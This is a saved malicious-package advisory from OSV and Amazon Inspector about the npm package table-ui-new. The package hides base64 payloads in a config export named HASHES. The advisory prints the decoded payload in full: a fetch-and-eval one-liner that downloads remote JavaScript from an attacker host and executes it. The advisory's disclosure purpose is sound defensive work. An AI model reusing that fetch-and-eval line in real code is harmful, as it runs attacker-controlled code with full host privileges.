Malicious code in table-ui-new (npm)
Historical advisory saved 24 Oct 2026 13:17:17 UTC. The publisher may have updated it since then. Latest advisory.
osv · MAL-2026-12473
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b0b953969edf8d77d5a1be0aa33b4044b38e2352f81c54b0f343f21a1c52c13a) [email protected] ships dist/config.js, exposed via the package.json `./config` subpath export, which exports a module-level array named `HASHES` containing four base64-encoded strings. Each string decodes to an IIFE of the form `(async () => eval(await fetch('https://everydaynodechecker-39147n.vercel.app/api/key?mem=root[0-3]').then(r => r.text())))();` — an unconditional fetch of remote text from a hardcoded external Vercel host followed by eval() of the response. The misleading variable name `HASHES` disguises executable payloads as inert hash data. The main entry (dist/index.js) is a React hooks module and does not itself invoke these blobs, but the payloads are staged behind a public package export, and any consumer that imports `table-ui-new/config` receives the array of ready-to-eval remote-fetch IIFEs. The destination host is unrelated to the package's stated purpose (a React table UI library) and returns attacker-controlled JavaScript that would execute in the consumer's Node process with full host privileges.
- Source published
- 5 Aug 2026 12:57:24 UTC
- Source modified
- 19 Aug 2026 01:45:11 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.